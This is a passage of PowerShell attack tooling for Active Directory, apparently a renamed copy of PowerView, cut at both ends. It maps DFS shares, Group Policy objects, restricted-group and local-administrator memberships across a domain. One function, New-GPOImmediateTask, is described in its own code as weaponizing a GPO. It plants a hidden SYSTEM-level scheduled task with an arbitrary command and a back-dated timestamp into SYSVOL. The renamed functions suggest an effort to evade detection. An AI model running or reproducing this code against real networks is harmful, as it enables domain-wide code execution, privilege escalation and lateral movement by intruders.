$target_entry_size_end = $target_entry_size_start + 3
$target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0)
$target_time_stamp_start = $target_entry_size_end + 1
$target_time_stamp_end = $target_time_stamp_start + 7
# FILETIME again or special if priority rank and priority class 0
$target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end]
$target_state_start = $target_time_stamp_end + 1
$target_state_end = $target_state_start + 3
$target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0)
$target_type_start = $target_state_end + 1
$target_type_end = $target_type_start + 3
$target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0)
$server_name_size_start = $target_type_end + 1
$server_name_size_end = $server_name_size_start + 1
$server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0)
$server_name_start = $server_name_size_end + 1
$server_name_end = $server_name_start + $server_name_size - 1
$server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end])
$share_name_size_start = $server_name_end + 1
$share_name_size_end = $share_name_size_start + 1
$share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0)
$share_name_start = $share_name_size_end + 1
$share_name_end = $share_name_start + $share_name_size - 1
$share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end])
$target_list += "\\$server_name\$share_name"
$t_offset = $share_name_end + 1
}
}
}
$offset = $blob_data_end + 1
$dfs_pkt_properties = @{
'Name' = $blob_name
'Prefix' = $prefix
'TargetList' = $target_list
}
$object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties
$prefix = $null
$blob_name = $null
$target_list = $null
}
$servers = @()
$object_list | ForEach-Object {
if ($_.TargetList) {
$_.TargetList | ForEach-Object {
$servers += $_.split("\")[2]
}
}
}
$servers
}
function Get-DFSshareV1 {
[CmdletBinding()]
param(
[String]
$Domain,
[String]
$DomainController,
[String]
$ADSpath,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200,
[Management.Automation.PSCredential]
$Credential
)
$DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
if($DFSsearcher) {
$DFSshares = @()
$DFSsearcher.filter = "(&(objectClass=fTDfs))"
try {
$Results = $DFSSearcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
$Properties = $_.Properties
$RemoteNames = $Properties.remoteservername
$Pkt = $Properties.pkt
$DFSshares += $RemoteNames | ForEach-Object {
try {
if ( $_.Contains('\') ) {
New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split("\")[2]}
}
}
catch {
Write-Verbose "Error in parsing DFS share : $_"
}
}
}
$Results.dispose()
$DFSSearcher.dispose()
if($pkt -and $pkt[0]) {
Parse-Pkt $pkt[0] | ForEach-Object {
# If a folder doesn't have a redirection it will
# have a target like
# \\null\TestNameSpace\folder\.DFSFolderLink so we
# do actually want to match on "null" rather than
# $null
if ($_ -ne "null") {
New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_}
}
}
}
}
catch {
Write-Warning "Get-DFSshareV1 error : $_"
}
$DFSshares | Sort-Object -Property "RemoteServerName"
}
}
function Get-DFSshareV2 {
[CmdletBinding()]
param(
[String]
$Domain,
[String]
$DomainController,
[String]
$ADSpath,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200,
[Management.Automation.PSCredential]
$Credential
)
$DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
if($DFSsearcher) {
$DFSshares = @()
$DFSsearcher.filter = "(&(objectClass=msDFS-Linkv2))"
$DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2'))
try {
$Results = $DFSSearcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
$Properties = $_.Properties
$target_list = $Properties.'msdfs-targetlistv2'[0]
$xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)])
$DFSshares += $xml.targets.ChildNodes | ForEach-Object {
try {
$Target = $_.InnerText
if ( $Target.Contains('\') ) {
$DFSroot = $Target.split("\")[3]
$ShareName = $Properties.'msdfs-linkpathv2'[0]
New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split("\")[2]}
}
}
catch {
Write-Verbose "Error in parsing target : $_"
}
}
}
$Results.dispose()
$DFSSearcher.dispose()
}
catch {
Write-Warning "Get-DFSshareV2 error : $_"
}
$DFSshares | Sort-Object -Unique -Property "RemoteServerName"
}
}
$DFSshares = @()
if ( ($Version -eq "all") -or ($Version.endsWith("1")) ) {
$DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
}
if ( ($Version -eq "all") -or ($Version.endsWith("2")) ) {
$DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
}
$DFSshares | Sort-Object -Property ("RemoteServerName","Name") -Unique
}
filter Get-GptTmpl {
[CmdletBinding()]
Param (
[Parameter(Mandatory=$True, ValueFromPipeline=$True)]
[String]
$GptTmplPath,
[Switch]
$UsePSDrive
)
if($UsePSDrive) {
# if we're PSDrives, create a temporary mount point
$Parts = $GptTmplPath.split('\')
$FolderPath = $Parts[0..($Parts.length-2)] -join '\'
$FilePath = $Parts[-1]
$RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join ''
Write-Verbose "Mounting path $GptTmplPath using a temp PSDrive at $RandDrive"
try {
$Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop
}
catch {
Write-Verbose "Error mounting path $GptTmplPath : $_"
return $Null
}
# so we can cd/dir the new drive
$TargetGptTmplPath = $RandDrive + ":\" + $FilePath
}
else {
$TargetGptTmplPath = $GptTmplPath
}
Write-Verbose "GptTmplPath: $GptTmplPath"
try {
Write-Verbose "Parsing $TargetGptTmplPath"
$TargetGptTmplPath | Get-IniContent -ErrorAction SilentlyContinue
}
catch {
Write-Verbose "Error parsing $TargetGptTmplPath : $_"
}
if($UsePSDrive -and $RandDrive) {
Write-Verbose "Removing temp PSDrive $RandDrive"
Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force
}
}
filter Get-GroupsXML {
[CmdletBinding()]
Param (
[Parameter(Mandatory=$True, ValueFromPipeline=$True)]
[String]
$GroupsXMLPath,
[Switch]
$UsePSDrive
)
if($UsePSDrive) {
# if we're PSDrives, create a temporary mount point
$Parts = $GroupsXMLPath.split('\')
$FolderPath = $Parts[0..($Parts.length-2)] -join '\'
$FilePath = $Parts[-1]
$RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join ''
Write-Verbose "Mounting path $GroupsXMLPath using a temp PSDrive at $RandDrive"
try {
$Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop
}
catch {
Write-Verbose "Error mounting path $GroupsXMLPath : $_"
return $Null
}
# so we can cd/dir the new drive
$TargetGroupsXMLPath = $RandDrive + ":\" + $FilePath
}
else {
$TargetGroupsXMLPath = $GroupsXMLPath
}
try {
[XML]$GroupsXMLcontent = Get-Content $TargetGroupsXMLPath -ErrorAction Stop
# process all group properties in the XML
$GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object {
$Groupname = $_.Properties.groupName
# extract the localgroup sid for memberof
$GroupSID = $_.Properties.groupSid
if(-not $GroupSID) {
if($Groupname -match 'Administrators') {
$GroupSID = 'S-1-5-32-544'
}
elseif($Groupname -match 'Remote Desktop') {
$GroupSID = 'S-1-5-32-555'
}
elseif($Groupname -match 'Guests') {
$GroupSID = 'S-1-5-32-546'
}
else {
$GroupSID = Convert-NameToSid -ObjectName $Groupname | Select-Object -ExpandProperty SID
}
}
# extract out members added to this group
$Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object {
if($_.sid) { $_.sid }
else { $_.name }
}
if ($Members) {
# extract out any/all filters...I hate you GPP
if($_.filters) {
$Filters = $_.filters.GetEnumerator() | ForEach-Object {
New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name}
}
}
else {
$Filters = $Null
}
if($Members -isnot [System.Array]) { $Members = @($Members) }
$GPOGroup = New-Object PSObject
$GPOGroup | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath
$GPOGroup | Add-Member Noteproperty 'Filters' $Filters
$GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName
$GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID
$GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Null
$GPOGroup | Add-Member Noteproperty 'GroupMembers' $Members
$GPOGroup
}
}
}
catch {
Write-Verbose "Error parsing $TargetGroupsXMLPath : $_"
}
if($UsePSDrive -and $RandDrive) {
Write-Verbose "Removing temp PSDrive $RandDrive"
Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force
}
}
function Get-ThisThingGPO {
[CmdletBinding()]
Param (
[Parameter(ValueFromPipeline=$True)]
[String]
$GPOname = '*',
[String]
$DisplayName,
[String]
$ComputerName,
[String]
$Domain,
[String]
$DomainController,
[String]
$ADSpath,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200,
[Management.Automation.PSCredential]
$Credential
)
begin {
$GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
}
process {
if ($GPOSearcher) {
if($ComputerName) {
$GPONames = @()
$Computers = Get-ThisThingComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize
if(!$Computers) {
throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name"
}
# get the given computer's OU
$ComputerOUs = @()
ForEach($Computer in $Computers) {
# extract all OUs a computer is a part of
$DN = $Computer.distinguishedname
$ComputerOUs += $DN.split(",") | ForEach-Object {
if($_.startswith("OU=")) {
$DN.substring($DN.indexof($_))
}
}
}
Write-Verbose "ComputerOUs: $ComputerOUs"
# find all the GPOs linked to the computer's OU
ForEach($ComputerOU in $ComputerOUs) {
$GPONames += Get-ThisThingOU -Domain $Domain -DomainController $DomainController -ADSpath $ComputerOU -FullData -PageSize $PageSize | ForEach-Object {
# get any GPO links
write-verbose "blah: $($_.name)"
$_.gplink.split("][") | ForEach-Object {
if ($_.startswith("LDAP")) {
$_.split(";")[0]
}
}
}
}
Write-Verbose "GPONames: $GPONames"
# find any GPOs linked to the site for the given computer
$ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName
if($ComputerSite -and ($ComputerSite -notlike 'Error*')) {
$GPONames += Get-ThisThingSite -SiteName $ComputerSite -FullData | ForEach-Object {
if($_.gplink) {
$_.gplink.split("][") | ForEach-Object {
if ($_.startswith("LDAP")) {
$_.split(";")[0]
}
}
}
}
}
$GPONames | Where-Object{$_ -and ($_ -ne '')} | ForEach-Object {
# use the gplink as an ADS path to enumerate all GPOs for the computer
$GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_ -PageSize $PageSize
$GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))"
try {
$Results = $GPOSearcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
$Out = Convert-LDAPProperty -Properties $_.Properties
$Out | Add-Member Noteproperty 'ComputerName' $ComputerName
$Out
}
$Results.dispose()
$GPOSearcher.dispose()
}
catch {
Write-Warning $_
}
}
}
else {
if($DisplayName) {
$GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))"
}
else {
$GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))"
}
try {
$Results = $GPOSearcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
if($ADSPath -and ($ADSpath -Match '^GC://')) {
$Properties = Convert-LDAPProperty -Properties $_.Properties
try {
$GPODN = $Properties.distinguishedname
$GPODomain = $GPODN.subString($GPODN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
$gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($Properties.cn)"
$Properties | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath
$Properties
}
catch {
$Properties
}
}
else {
# convert/process the LDAP fields for each result
Convert-LDAPProperty -Properties $_.Properties
}
}
$Results.dispose()
$GPOSearcher.dispose()
}
catch {
Write-Warning $_
}
}
}
}
}
function New-GPOImmediateTask {
[CmdletBinding(DefaultParameterSetName = 'Create')]
Param (
[Parameter(ParameterSetName = 'Create', Mandatory = $True)]
[String]
[ValidateNotNullOrEmpty()]
$TaskName,
[Parameter(ParameterSetName = 'Create')]
[String]
[ValidateNotNullOrEmpty()]
$Command = 'powershell',
[Parameter(ParameterSetName = 'Create')]
[String]
[ValidateNotNullOrEmpty()]
$CommandArguments,
[Parameter(ParameterSetName = 'Create')]
[String]
[ValidateNotNullOrEmpty()]
$TaskDescription = '',
[Parameter(ParameterSetName = 'Create')]
[String]
[ValidateNotNullOrEmpty()]
$TaskAuthor = 'NT AUTHORITY\System',
[Parameter(ParameterSetName = 'Create')]
[String]
[ValidateNotNullOrEmpty()]
$TaskModifiedDate = (Get-Date (Get-Date).AddDays(-30) -Format u).trim("Z"),
[Parameter(ParameterSetName = 'Create')]
[Parameter(ParameterSetName = 'Remove')]
[String]
$GPOname,
[Parameter(ParameterSetName = 'Create')]
[Parameter(ParameterSetName = 'Remove')]
[String]
$GPODisplayName,
[Parameter(ParameterSetName = 'Create')]
[Parameter(ParameterSetName = 'Remove')]
[String]
$Domain,
[Parameter(ParameterSetName = 'Create')]
[Parameter(ParameterSetName = 'Remove')]
[String]
$DomainController,
[Parameter(ParameterSetName = 'Create')]
[Parameter(ParameterSetName = 'Remove')]
[String]
$ADSpath,
[Parameter(ParameterSetName = 'Create')]
[Parameter(ParameterSetName = 'Remove')]
[Switch]
$Force,
[Parameter(ParameterSetName = 'Remove')]
[Switch]
$Remove,
[Parameter(ParameterSetName = 'Create')]
[Parameter(ParameterSetName = 'Remove')]
[Management.Automation.PSCredential]
$Credential
)
# build the XML spec for our 'immediate' scheduled task
$TaskXML = '<?xml version="1.0" encoding="utf-8"?><ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}"><ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="'+$TaskName+'" image="0" changed="'+$TaskModifiedDate+'" uid="{'+$([guid]::NewGuid())+'}" userContext="0" removePolicy="0"><Properties action="C" name="'+$TaskName+'" runAs="NT AUTHORITY\System" logonType="S4U"><Task version="1.3"><RegistrationInfo><Author>'+$TaskAuthor+'</Author><Description>'+$TaskDescription+'</Description></RegistrationInfo><Principals><Principal id="Author"><UserId>NT AUTHORITY\System</UserId><RunLevel>HighestAvailable</RunLevel><LogonType>S4U</LogonType></Principal></Principals><Settings><IdleSettings><Duration>PT10M</Duration><WaitTimeout>PT1H</WaitTimeout><StopOnIdleEnd>true</StopOnIdleEnd><RestartOnIdle>false</RestartOnIdle></IdleSettings><MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy><DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries><StopIfGoingOnBatteries>true</StopIfGoingOnBatteries><AllowHardTerminate>false</AllowHardTerminate><StartWhenAvailable>true</StartWhenAvailable><AllowStartOnDemand>false</AllowStartOnDemand><Enabled>true</Enabled><Hidden>true</Hidden><ExecutionTimeLimit>PT0S</ExecutionTimeLimit><Priority>7</Priority><DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter><RestartOnFailure><Interval>PT15M</Interval><Count>3</Count></RestartOnFailure></Settings><Actions Context="Author"><Exec><Command>'+$Command+'</Command><Arguments>'+$CommandArguments+'</Arguments></Exec></Actions><Triggers><TimeTrigger><StartBoundary>%LocalTimeXmlEx%</StartBoundary><EndBoundary>%LocalTimeXmlEx%</EndBoundary><Enabled>true</Enabled></TimeTrigger></Triggers></Task></Properties></ImmediateTaskV2></ScheduledTasks>'
if (!$PSBoundParameters['GPOname'] -and !$PSBoundParameters['GPODisplayName']) {
Write-Warning 'Either -GPOName or -GPODisplayName must be specified'
return
}
# eunmerate the specified GPO(s)
$GPOs = Get-ThisThingGPO -GPOname $GPOname -DisplayName $GPODisplayName -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -Credential $Credential
if(!$GPOs) {
Write-Warning 'No GPO found.'
return
}
$GPOs | ForEach-Object {
$ProcessedGPOName = $_.Name
try {
Write-Verbose "Trying to weaponize GPO: $ProcessedGPOName"
# map a network drive as New-PSDrive/New-Item/etc. don't accept -Credential properly :(
if($Credential) {
Write-Verbose "Mapping '$($_.gpcfilesyspath)' to network drive N:\"
$Path = $_.gpcfilesyspath.TrimEnd('\')
$Net = New-Object -ComObject WScript.Network
$Net.MapNetworkDrive("N:", $Path, $False, $Credential.UserName, $Credential.GetNetworkCredential().Password)
$TaskPath = "N:\Machine\Preferences\ScheduledTasks\"
}
else {
$TaskPath = $_.gpcfilesyspath + "\Machine\Preferences\ScheduledTasks\"
}
if($Remove) {
if(!(Test-Path "$TaskPath\ScheduledTasks.xml")) {
Throw "Scheduled task doesn't exist at $TaskPath\ScheduledTasks.xml"
}
if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Removing schtask at $TaskPath\ScheduledTasks.xml")) {
return
}
Remove-Item -Path "$TaskPath\ScheduledTasks.xml" -Force
}
else {
if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Creating schtask at $TaskPath\ScheduledTasks.xml")) {
return
}
# create the folder if it doesn't exist
$Null = New-Item -ItemType Directory -Force -Path $TaskPath
if(Test-Path "$TaskPath\ScheduledTasks.xml") {
Throw "Scheduled task already exists at $TaskPath\ScheduledTasks.xml !"
}
$TaskXML | Set-Content -Encoding ASCII -Path "$TaskPath\ScheduledTasks.xml"
}
if($Credential) {
Write-Verbose "Removing mounted drive at N:\"
$Net = New-Object -ComObject WScript.Network
$Net.RemoveNetworkDrive("N:")
}
}
catch {
Write-Warning "Error for GPO $ProcessedGPOName : $_"
if($Credential) {
Write-Verbose "Removing mounted drive at N:\"
$Net = New-Object -ComObject WScript.Network
$Net.RemoveNetworkDrive("N:")
}
}
}
}
function Get-ThisThingGPOGroup {
[CmdletBinding()]
Param (
[String]
$GPOname = '*',
[String]
$DisplayName,
[String]
$Domain,
[String]
$DomainController,
[String]
$ADSpath,
[Switch]
$ResolveMemberSIDs,
[Switch]
$UsePSDrive,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200
)
$Option = [System.StringSplitOptions]::RemoveEmptyEntries
# get every GPO from the specified domain with restricted groups set
Get-ThisThingGPO -GPOName $GPOname -DisplayName $DisplayName -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | ForEach-Object {
$GPOdisplayName = $_.displayname
$GPOname = $_.name
$GPOPath = $_.gpcfilesyspath
$ParseArgs = @{
'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
'UsePSDrive' = $UsePSDrive
}
# parse the GptTmpl.inf 'Restricted Groups' file if it exists
$Inf = Get-GptTmpl @ParseArgs
if($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) {
$Memberships = @{}
# group the members/memberof fields for each entry
ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) {
$Group, $Relation = $Membership.Key.Split('__', $Option) | ForEach-Object {$_.Trim()}
# extract out ALL members
$MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_}
if($ResolveMemberSIDs) {
# if the resulting member is username and not a SID, attempt to resolve it
$GroupMembers = @()
ForEach($Member in $MembershipValue) {
if($Member -and ($Member.Trim() -ne '')) {
if($Member -notmatch '^S-1-.*') {
$MemberSID = Convert-NameToSid -Domain $Domain -ObjectName $Member | Select-Object -ExpandProperty SID
if($MemberSID) {
$GroupMembers += $MemberSID
}
else {
$GroupMembers += $Member
}
}
else {
$GroupMembers += $Member
}
}
}
$MembershipValue = $GroupMembers
}
if(-not $Memberships[$Group]) {
$Memberships[$Group] = @{}
}
if($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)}
$Memberships[$Group].Add($Relation, $MembershipValue)
}
ForEach ($Membership in $Memberships.GetEnumerator()) {
if($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) {
# if the SID is already resolved (i.e. begins with *) try to resolve SID to a name
$GroupSID = $Membership.Key.Trim('*')
if($GroupSID -and ($GroupSID.Trim() -ne '')) {
$GroupName = Convert-SidToName -SID $GroupSID
}
else {
$GroupName = $False
}
}
else {
$GroupName = $Membership.Key
if($GroupName -and ($GroupName.Trim() -ne '')) {
if($Groupname -match 'Administrators') {
$GroupSID = 'S-1-5-32-544'
}
elseif($Groupname -match 'Remote Desktop') {
$GroupSID = 'S-1-5-32-555'
}
elseif($Groupname -match 'Guests') {
$GroupSID = 'S-1-5-32-546'
}
elseif($GroupName.Trim() -ne '') {
$GroupSID = Convert-NameToSid -Domain $Domain -ObjectName $Groupname | Select-Object -ExpandProperty SID
}
else {
$GroupSID = $Null
}
}
}
$GPOGroup = New-Object PSObject
$GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName
$GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName
$GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath
$GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups'
$GPOGroup | Add-Member Noteproperty 'Filters' $Null
$GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName
$GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID
$GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof
$GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members
$GPOGroup
}
}
$ParseArgs = @{
'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml"
'UsePSDrive' = $UsePSDrive
}
Get-GroupsXML @ParseArgs | ForEach-Object {
if($ResolveMemberSIDs) {
$GroupMembers = @()
ForEach($Member in $_.GroupMembers) {
if($Member -and ($Member.Trim() -ne '')) {
if($Member -notmatch '^S-1-.*') {
# if the resulting member is username and not a SID, attempt to resolve it
$MemberSID = Convert-NameToSid -Domain $Domain -ObjectName $Member | Select-Object -ExpandProperty SID
if($MemberSID) {
$GroupMembers += $MemberSID
}
else {
$GroupMembers += $Member
}
}
else {
$GroupMembers += $Member
}
}
}
$_.GroupMembers = $GroupMembers
}
$_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName
$_ | Add-Member Noteproperty 'GPOName' $GPOName
$_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences'
$_
}
}
}
function Find-GPOLocation {
[CmdletBinding()]
Param (
[String]
$UserName,
[String]
$GroupName,
[String]
$Domain,
[String]
$DomainController,
[String]
$LocalGroup = 'Administrators',
[Switch]
$UsePSDrive,
[ValidateRange(1,10000)]
[Int]
$PageSize = 200
)
if($UserName) {
# if a group name is specified, get that user object so we can extract the target SID
$User = Get-ThisThingUser -UserName $UserName -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Select-Object -First 1
$UserSid = $User.objectsid
if(-not $UserSid) {
Throw "User '$UserName' not found!"
}
$TargetSIDs = @($UserSid)
$ObjectSamAccountName = $User.samaccountname
$TargetObject = $UserSid
}
elseif($GroupName) {
# if a group name is specified, get that group object so we can extract the target SID
$Group = Get-ThisThingGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Select-Object -First 1
$GroupSid = $Group.objectsid
if(-not $GroupSid) {
Throw "Group '$GroupName' not found!"
}
$TargetSIDs = @($GroupSid)
$ObjectSamAccountName = $Group.samaccountname
$TargetObject = $GroupSid
}
else {
$TargetSIDs = @('*')
}
# figure out what the SID is of the target local group we're checking for membership in
if($LocalGroup -like "*Admin*") {
$TargetLocalSID = 'S-1-5-32-544'
}
elseif ( ($LocalGroup -like "*RDP*") -or ($LocalGroup -like "*Remote*") ) {
$TargetLocalSID = 'S-1-5-32-555'
}
elseif ($LocalGroup -like "S-1-5-*") {
$TargetLocalSID = $LocalGroup
}
else {
throw "LocalGroup must be 'Administrators', 'RDP', or a 'S-1-5-X' SID format."
}
# if we're not listing all relationships, use the tokenGroups approach from Get-ThisThingGroup to
# get all effective security SIDs this object is a part of
if($TargetSIDs[0] -and ($TargetSIDs[0] -ne '*')) {
$TargetSIDs += Get-ThisThingGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids
}
if(-not $TargetSIDs) {
throw "No effective target SIDs!"
}
Write-Verbose "TargetLocalSID: $TargetLocalSID"
Write-Verbose "Effective target SIDs: $TargetSIDs"
$GPOGroupArgs = @{
'Domain' = $Domain
'DomainController' = $DomainController
'UsePSDrive' = $UsePSDrive
'ResolveMemberSIDs' = $True
'PageSize' = $PageSize
}
# enumerate all GPO group mappings for the target domain that involve our target SID set
$GPOgroups = Get-ThisThingGPOGroup @GPOGroupArgs | ForEach-Object {
$GPOgroup = $_
# if the locally set group is what we're looking for, check the GroupMembers ('members')
# for our target SID
if($GPOgroup.GroupSID -match $TargetLocalSID) {
$GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object {
if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) {
$GPOgroup
}
}
}
# if the group is a 'memberof' the group we're looking for, check GroupSID against the targt SIDs
if( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) {
if( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) {
$GPOgroup
}
}
} | Sort-Object -Property GPOName -Unique
$GPOgroups | ForEach-Object {
$GPOname = $_.GPODisplayName
$GPOguid = $_.GPOName
$GPOPath = $_.GPOPath
$GPOType = $_.GPOType
if($_.GroupMembers) {
$GPOMembers = $_.GroupMembers
}
else {
$GPOMembers = $_.GroupSID
}
$Filters = $_.Filters
if(-not $TargetObject) {
# if the * wildcard was used, set the ObjectDistName as the GPO member SID set
# so all relationship mappings are output
$TargetObjectSIDs = $GPOMembers
}
else {
$TargetObjectSIDs = $TargetObject
}
# find any OUs that have this GUID applied and then retrieve any computers from the OU
Get-ThisThingOU -Domain $Domain -DomainController $DomainController -GUID $GPOguid -FullData -PageSize $PageSize | ForEach-Object {
if($Filters) {
# filter for computer name/org unit if a filter is specified
# TODO: handle other filters (i.e. OU filters?) again, I hate you GPP...
$OUComputers = Get-ThisThingComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -FullData -PageSize $PageSize | Where-Object {
$_.adspath -match ($Filters.Value)
} | ForEach-Object { $_.dnshostname }
}
else {
$OUComputers = Get-ThisThingComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize
}
if($OUComputers) {
if($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)}
ForEach ($TargetSid in $TargetObjectSIDs) {
$Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize
$IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
$GPOLocation = New-Object PSObject
$GPOLocation | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
$GPOLocation | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
$GPOLocation | Add-Member Noteproperty 'ObjectSID' $Object.objectsid
$GPOLocation | Add-Member Noteproperty 'Domain' $Domain
$GPOLocation | Add-Member Noteproperty 'IsGroup' $IsGroup
$GPOLocation | Add-Member Noteproperty 'GPODisplayName' $GPOname
$GPOLocation | Add-Member Noteproperty 'GPOGuid' $GPOGuid
$GPOLocation | Add-Member Noteproperty 'GPOPath' $GPOPath
$GPOLocation | Add-Member Noteproperty 'GPOType' $GPOType
$GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname
$GPOLocation | Add-Member Noteproperty 'ComputerName' $OUComputers
$GPOLocation.PSObject.TypeNames.Add('PowerView.GPOLocalGroup')
$GPOLocation
}
}
}
# find any sites that have this GUID applied
Get-ThisThingSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | ForEach-Object {
ForEach ($TargetSid in $TargetObjectSIDs) {
$Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize
$IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
$AppliedSite = New-Object PSObject
$AppliedSite | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
$AppliedSite | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
$AppliedSite | Add-Member Noteproperty 'ObjectSID' $Object.objectsid
$AppliedSite | Add-Member Noteproperty 'IsGroup' $IsGroup
$AppliedSite | Add-Member Noteproperty 'Domain' $Domain
$AppliedSite | Add-Member Noteproperty 'GPODisplayName' $GPOname
$AppliedSite | Add-Member Noteproperty 'GPOGuid' $GPOGuid
$AppliedSite | Add-Member Noteproperty 'GPOPath' $GPOPath
$AppliedSite | Add-Member Noteproperty 'GPOType' $GPOType
